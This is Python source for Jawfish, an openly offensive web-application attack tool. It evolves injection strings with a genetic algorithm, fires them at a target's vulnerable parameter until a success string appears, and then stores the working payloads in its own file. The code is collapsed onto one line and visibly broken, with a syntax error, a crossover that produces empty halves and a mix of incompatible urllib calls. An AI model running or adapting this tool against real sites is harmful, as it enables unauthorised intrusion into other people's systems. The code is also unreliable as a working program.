#!/usr/bin/env python ''' Jawfish is a tool designed to break into web applications. Built on top of Soen Vanned's Forced Evolution. https://github.com/soen-vanned/forced-evolution Loaded into the web app (jawfish.io) via Brython. Version 1.0 ''' from sys import argv from queue import PriorityQueue import time import random import base64 import zlib import urllib from browser import document, html, window def result_out(text_to_result_box): document['result_box'] <= html.P(text_to_result_box) def skip_line(): document['result_box'] <= html.P('\n') result_out('Jawfish v1.0 running') result_out('********************') def usage(): result_out('Usage:') result_out(' python jf.py <options>') result_out(' Options:') result_out(' TARGET=<target IP / hostname>') result_out(' ADDR=<directory>') result_out(' VULN_VAR=<vulnerable variable>') result_out(' METHOD=<post/get>') result_out(' OTHER_VARIABLES=[other vars for post/get]') result_out(' VAR1=DATA1&VAR2=DATA2') result_out(' GOAL_TEXT=<server response of success>') skip_line() result_out('All are required but OTHER_VARIABLES') def unquote(s): """unquote('abc%20def') -> 'abc def'.""" mychr = chr myatoi = int list = s.split('%') res = [list[0]] myappend = res.append del list[0] for item in list: if item[1:2]: try: myappend(mychr(myatoi(item[:2], 16)) + item[2:]) except ValueError: myappend('%' + item) else: myappend('%' + item) return "".join(res) start_time = time.ctime() result_out('Start = ' + str(start_time)) OTHER_VARIABLES = {} GOAL_TEXT = 'KEY_DATA' tools = """~!@#$%^&*()_+{}|:"<>?,./;'[]\=-0987654321`qwertyuioplkjhgfdsa""" +\ """zxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM""" tools += """$%*";'`""" * 3 # use this to influence creature evolution TARGET = '' ADDR = '' CREATURE_COUNT = 333 # this number will become multiplied by 3 due to the GENOME_LENGTH = 32 # breeding with the database that will take place CULL_RATE = 0.67 MUTATION_RATE = .80 TIMEOUT = .01 VULN_VAR = '' GENE_POOL_INFLUENCE = 1 # pool will increase to (pool_original + MAX_MUTATIONS = 1 # loaded_genomes * GENE_POOL_INFLUENCE) REQ_TOTAL = 0 BASE_RESPONSE = '' METHOD = 'get' # default is get, but post is allowed as well ###DBSTARTMARKER### DB = '' ###DBENDMARKER### def process_targeting_form(): global BASE_RESPONSE, REQ_TOTAL, METHOD, GOAL_TEXT, TARGET, ADDR,\ OTHER_VARIABLES, VULN_VAR url_string = window.location.href url_string = unquote( url_string ) try: TARGET = ((url_string.split('TARGET='))[1].split('&ADDR')[0]) result_out('[+]\tTarget %s acquired!' % TARGET) ADDR = ((url_string.split('&ADDR='))[1].split('&VULN_VAR')[0]) if ADDR[0] == '/': ADDR = ADDR[1:] result_out('[+]\tPath %s acquired!' % ADDR) VULN_VAR = ((url_string.split('&VULN_VAR='))[1].split('&METHOD')[0]) result_out('[+]\tPotentially vulnerable variable %s registered!' % VULN_VAR) METHOD = (((((url_string.split('&METHOD='))[1].split('&GOAL_TEXT')[0]) == 'post') and 1) or 0) result_out('[+]\tUsing method [%s] for GREAT success' % ((METHOD and 'post') or 'get')) OTHER_VARIABLES = {} GOAL_TEXT = url_string.split('&GOAL_TEXT=')[1] result_out('[+]\tAttempting to gain a base heuristic...') OTHER_VARIABLES[VULN_VAR] = 'AAAA' try: BASE_RESPONSE = urllib.urlopen('http://%s/%s' % (TARGET, ADDR), timeout=10) except urllib.URLError: BASE_RESPONSE = '404' if (BASE_RESPONSE.lower().find('not found') != -1 or BASE_RESPONSE.lower().find('404') != -1): result_out('404 or \'not found\' or timeout....are you sure this is OK?') result_out('\npage text:\n\n') result_out(BASE_RESPONSE) skip_line() result_out('lets try it anyway, you crazy cat') return True except: result_out('targeting argument FAIL\n\n') return False class Creature: genome = '' is_alive = False score = 100 m_text = {} def __init__(self, args, tools): self.genome = '' self.modified = 1 self.is_alive = True if args == 0: self.genome = tools else: tmp = args result_out('creating genome with '+ str(tmp) + 'chars') for i in range(random.randint(tmp / 2, tmp)): self.genome += tools[random.randrange(0, len(tools))] return None def run_simulation(self): global TARGET, ADDR, VULN_VAR, TIMEOUT, REQ_TOTAL,\ METHOD, OTHER_VARIABLES tmp = OTHER_VARIABLES tmp[VULN_VAR] = self.genome try: if METHOD == 0: prep = urllib.urlencode(tmp) r = urllib.urlopen('http://%s/%s' % (TARGET, ADDR), data=prep, timeout=TIMEOUT) else: prep = urllib.urlencode(tmp) req = urllib.Request('http://%s/%s' % (TARGET, ADDR), data=prep) r = urllib.urlopen(req) REQ_TOTAL += 1 self.m_text['text'] = r.get_data() self.m_text['url'] = r.get_full_url() self.m_text['status_code'] = r.getcode() except: pass return self.m_text def create_creatures(num, genome_length, tools): c = [] for i in range(0, num): c.append(Creature(genome_length, tools)) return c def cull_it(c): global CULL_RATE c_temp = PriorityQueue() qsize = c.qsize() l = int(qsize - qsize * CULL_RATE) result_out('[i]\tPopulation size %d, cull rate %s, living specimens: %d' % (c.qsize(), str(CULL_RATE), l)) result_out('[.]\tBeginning the cull of underperforming creatures...') for i in range(l): flag = 0 while flag == 0: tmp = c.get() if tmp[1].genome != '': c_temp.put(tmp) flag = 1 result_out('[+]\tCull done!') return c_temp def mutate(s): global tools, MUTATION_RATE num_mutations = 0 for i in range(0, MAX_MUTATIONS): if random.random() < MUTATION_RATE: num_mutations += 1 M_CHAR = 0.80 A_CHAR = 0.60 R_CHAR = 0.05 for i in range(0, num_mutations): decision = random.random() m = tools[random.randint(0, len(tools)-1)] if decision > M_CHAR: # modify a character inline (20%) si = random.randint(0, len(s)) s = s[0:si] + m + s[si+1:] elif decision < M_CHAR and decision > A_CHAR: # append a character (20%) s += m elif decision < M_CHAR and decision < A_CHAR and decision > R_CHAR: # prepend a character (50%) s = m + s elif decision < R_CHAR: # delete a character (10%) si = random.randint(0, len(s)) s = s[0:si] + s[si+1:] return s def breed_it(ca): c_temp = PriorityQueue() result_out('[.]\tBreeding Next Generation...') while len(ca) > 0: if len(ca) == 1: cq = ca.pop(0) c_temp.put((cq.score, cq)) return c_temp a = ca.pop(0) a1 = a.genome[0:len(a.genome) / 2] a2 = a.genome[len(a.genome):] # pull a random partner to mate with # it's a free society, after all b = ca.pop(random.randint(0, len(ca) - 1)) b1 = b.genome[0:len(b.genome)] b2 = b.genome[len(b.genome):] c = Creature(0, a1 + b2) d = Creature(0, b1 + a2) e = Creature(0, mutate(a1 + b2)) f = Creature(0, mutate(b1 + a2)) a.modified = 0 b.modified = 0 c.modified = 1 d.modified = 1 e.modified = 1 f.modified = 1 c_temp.put((0, a)) c_temp.put((0, b)) c_temp.put((0, c)) c_temp.put((0, d)) c_temp.put((0, e)) c_temp.put((0, f)) result_out('[.]\tSuccess') return c_temp def fitnessfunction(creature_to_score): global GOAL_TEXT if creature_to_score.modified == 0: return 0 s = creature_to_score.run_simulation() creature_to_score.score = 100 if s == {}: creature_to_score.score = 100 return if ((creature_to_score.genome.find('cat') != -1) and (creature_to_score.genome.find('key') != -1)): result_out('this bastard should work....') result_out(creature_to_score.genome) result_out(s['text']) result_out(s['url']) if (s['text'].lower().find(GOAL_TEXT.lower()) != -1): creature_to_score.score -= 100 result_out('[+]\tExploit Found') result_out(creature_to_score.genome) result_out('------------------------------------------') save_DB(creature_to_score.genome) return 1 elif (str(s['status_code']) == '500'): creature_to_score.score -= 20 elif s['text'].find(creature_to_score.genome) != -1: creature_to_score.score -= 10 else: creature_to_score.score = 100 if creature_to_score.score == 9999999999999999999: #thisAlgorithmBecomingSkynetCost exit() return 0 def main(): global CREATURE_COUNT if process_targeting_form(): c0 = [] c1 = PriorityQueue() result_out('[+]\tLoading DB...') #load in creatures from DB lc = load_DB() loaded_creatures = lc.split('\n') #finish loading result_out('[+]\tSuccess') result_out('[+]\tCreating initial batch of creatures...') cl = create_creatures(CREATURE_COUNT, GENOME_LENGTH, tools) generation = 0 for i in cl: c1.put((100, i)) for i in loaded_creatures: c1.put((50, Creature(0, i))) for ii in range(0, GENE_POOL_INFLUENCE-1): c1.put((50, Creature(0, mutate(i)))) result_out('[+]\tSuccess') result_out('[+]\tPre-breeding in loaded creatures with the population for great success') while not c1.empty(): c = c1.get()[1] c0.append(c) c1 = breed_it(c0) c1 = c0 result_out('[+]\tSuccess') exploit_found = 0 while exploit_found == 0 and c1.qsize() > 0:: generation += 1 CREATURE_COUNT = c1.qsize() result_out('[>]\tRunning with creature_count %d,\tgeneration %d' % (CREATURE_COUNT, generation)) c2 = PriorityQueue(0) cached_c = 0 total_c = 0 while not c1.empty(): c = c1.get()[1] total_c += 1 if c.modified == 0: cached_c += 1 if fitnessfunction(c) == 1: exploit_found = 1 break c2.put((c.score, c)) result_out('[i]\tEfficiency %s, cached[%d], total[%d]' % (str((total_c-cached_c) * 1.0 / total_c),cached_c,total_c)) c3 = cull_it(c2) c4 = [] while not c3.empty(): c = c3.get()[1] c4.append(c) c1 = breed_it(c4) if exploit_found > 0: result_out('[i]\tExploit found in %d seconds with %d requests' % (abs(int(start_time - time.time())), REQ_TOTAL)) else: result_out('No exploits found') def load_DB(): if DB != '': return zlib.decompress(base64.b64decode(DB)) else: result_out('[!]\tInternal database not found, attempting to load external...') lc = '' f = open('database', 'a') f.close() f = open('database') lc = f.read().replace('\r\n', '\n') f.close() return lc def save_DB(exploit_found): f = open(argv[0], 'r+') tmp = f.read() f.seek(0) db_start = tmp.find('###DBSTARTMARKER###') +\ len('###DBSTARTMARKER###') + 1 db_end = tmp.find('###DBENDMARKER###') DB = base64.b64encode(zlib.compress(load_DB() + '\n' + exploit_found)) tmp = tmp[0:db_start] + 'DB = \'' + DB + '\'\n' + tmp[db_end:] f.write(tmp) f.close() if __name__ == '__main__': main()